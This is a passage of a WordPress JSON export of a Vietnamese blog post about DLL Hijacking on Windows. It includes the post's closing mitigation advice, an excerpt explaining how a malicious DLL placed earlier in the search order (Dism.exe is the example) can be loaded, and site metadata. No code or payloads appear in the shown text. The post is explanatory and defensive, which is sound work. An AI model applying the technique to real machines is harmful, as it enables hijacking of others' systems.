tr\u00ecnh<\/strong>: N\u1ebfu b\u1ea1n l\u00e0 nh\u00e0 ph\u00e1t tri\u1ec3n ph\u1ea7n m\u1ec1m, h\u00e3y c\u1ea5u h\u00ecnh \u1ee9ng d\u1ee5ng \u0111\u1ec3 g\u1ecdi DLL b\u1eb1ng \u0111\u01b0\u1eddng d\u1eabn tuy\u1ec7t \u0111\u1ed1i thay v\u00ec \u0111\u1ec3 h\u1ec7 th\u1ed1ng t\u1ef1 t\u00ecm ki\u1ebfm.<\/li>\n\n\n\n<li><strong>B\u1eadt ch\u1ebf \u0111\u1ed9 SafeDLLSearchMode<\/strong>: \u0110\u1ea3m b\u1ea3o r\u1eb1ng h\u1ec7 th\u1ed1ng \u01b0u ti\u00ean t\u00ecm DLL t\u1eeb c\u00e1c th\u01b0 m\u1ee5c h\u1ec7 th\u1ed1ng tr\u01b0\u1edbc.<\/li>\n\n\n\n<li><strong>Tri\u1ec3n khai c\u00f4ng c\u1ee5 b\u1ea3o v\u1ec7<\/strong>: S\u1eed d\u1ee5ng ph\u1ea7n m\u1ec1m di\u1ec7t virus ho\u1eb7c c\u00f4ng c\u1ee5 ch\u1ed1ng m\u00e3 \u0111\u1ed9c \u0111\u1ec3 ph\u00e1t hi\u1ec7n v\u00e0 ng\u0103n ch\u1eb7n c\u00e1c DLL \u0111\u1ed9c h\u1ea1i.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ket_luan\"><\/span>K\u1ebft lu\u1eadn<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">DLL Hijacking l\u00e0 m\u1ed9t k\u1ef9 thu\u1eadt t\u1ea5n c\u00f4ng r\u1ea5t hi\u1ec7u qu\u1ea3 v\u00e0 d\u1ec5 d\u00e0ng khai th\u00e1c tr\u00ean h\u1ec7 \u0111i\u1ec1u h\u00e0nh Windows n\u1ebfu kh\u00f4ng \u0111\u01b0\u1ee3c b\u1ea3o v\u1ec7 \u0111\u00fang c\u00e1ch. \u0110\u1ec3 b\u1ea3o v\u1ec7 h\u1ec7 th\u1ed1ng, c\u1ea7n ph\u1ea3i th\u1ef1c hi\u1ec7n c\u00e1c bi\u1ec7n ph\u00e1p nh\u01b0 ki\u1ec3m so\u00e1t quy\u1ec1n truy c\u1eadp v\u00e0o c\u00e1c th\u01b0 m\u1ee5c quan tr\u1ecdng, s\u1eed d\u1ee5ng \u0111\u01b0\u1eddng d\u1eabn c\u1ed1 \u0111\u1ecbnh khi g\u1ecdi DLL v\u00e0 \u00e1p d\u1ee5ng c\u00e1c c\u00f4ng c\u1ee5 b\u1ea3o v\u1ec7 t\u1eeb c\u00e1c ph\u1ea7n m\u1ec1m b\u1ea3o m\u1eadt.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>C\u00e1ch khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking tr\u00ean Windows DLL Hijacking l\u00e0 m\u1ed9t k\u1ef9 thu\u1eadt t\u1ea5n c\u00f4ng ph\u1ed5 bi\u1ebfn nh\u01b0ng l\u1ea1i \u00edt \u0111\u01b0\u1ee3c ch\u00fa \u00fd trong gi\u1edbi b\u1ea3o m\u1eadt. Khi m\u1ed9t \u1ee9ng d\u1ee5ng tr\u00ean h\u1ec7 \u0111i\u1ec1u h\u00e0nh Windows t\u00ecm ki\u1ebfm v\u00e0 t\u1ea3i c\u00e1c t\u1ec7p DLL (Dynamic Link Library), k\u1ebb t\u1ea5n c\u00f4ng c\u00f3 th\u1ec3 l\u1ee3i d\u1ee5ng l\u1ed7 h\u1ed5ng n\u00e0y b\u1eb1ng c\u00e1ch thay th\u1ebf DLL h\u1ee3p l\u1ec7 b\u1eb1ng phi\u00ean b\u1ea3n \u0111\u1ed9c h\u1ea1i c\u1ee7a m\u00ecnh. H\u1ec7 \u0111i\u1ec1u h\u00e0nh s\u1ebd t\u1ea3i DLL \u0111\u1ed9c h\u1ea1i \u0111\u00f3 thay v\u00ec phi\u00ean b\u1ea3n g\u1ed1c, v\u00e0 \u0111i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 d\u1eabn \u0111\u1ebfn nh\u1eefng h\u1eadu qu\u1ea3 nghi\u00eam tr\u1ecdng nh\u01b0 vi\u1ec7c chi\u1ebfm quy\u1ec1n \u0111i\u1ec1u khi\u1ec3n m\u00e1y t\u00ednh t\u1eeb xa. 1. DLL Hijacking l\u00e0 g\u00ec? DLL Hijacking l\u00e0 m\u1ed9t k\u1ef9 thu\u1eadt khai th\u00e1c l\u1ed7 h\u1ed5ng khi m\u1ed9t ch\u01b0\u01a1ng tr\u00ecnh kh\u00f4ng ki\u1ec3m so\u00e1t ch\u1eb7t ch\u1ebd qu\u00e1 tr\u00ecnh t\u1ea3i t\u1ec7p DLL. Khi m\u1ed9t \u1ee9ng d\u1ee5ng, ch\u1eb3ng h\u1ea1n nh\u01b0 Dism.exe (c\u00f4ng c\u1ee5 qu\u1ea3n l\u00fd h\u1ec7 th\u1ed1ng c\u1ee7a Windows), ch\u1ea1y, n\u00f3 s\u1ebd t\u00ecm ki\u1ebfm c\u00e1c DLL c\u1ea7n thi\u1ebft trong c\u00e1c th\u01b0 m\u1ee5c theo th\u1ee9 t\u1ef1 \u01b0u ti\u00ean. N\u1ebfu k\u1ebb t\u1ea5n c\u00f4ng c\u00f3 th\u1ec3 \u0111\u1eb7t m\u1ed9t DLL gi\u1ea3 m\u1ea1o v\u00e0o th\u01b0 m\u1ee5c m\u00e0 ch\u01b0\u01a1ng tr\u00ecnh ki\u1ec3m tra \u0111\u1ea7u ti\u00ean (tr\u01b0\u1edbc khi t\u1edbi th\u01b0 m\u1ee5c ch\u00ednh th\u1ed1ng nh\u01b0 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":208,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[46],"tags":[12],"class_list":["post-24","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hacking","tag-wild"],"acf":[],"_links":{"self":[{"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/posts\/24","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/comments?post=24"}],"version-history":[{"count":0,"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/posts\/24\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/media\/208"}],"wp:attachment":[{"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/media?parent=24"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/categories?post=24"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.chukhanhit.com\/index.php\/wp-json\/wp\/v2\/tags?post=24"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}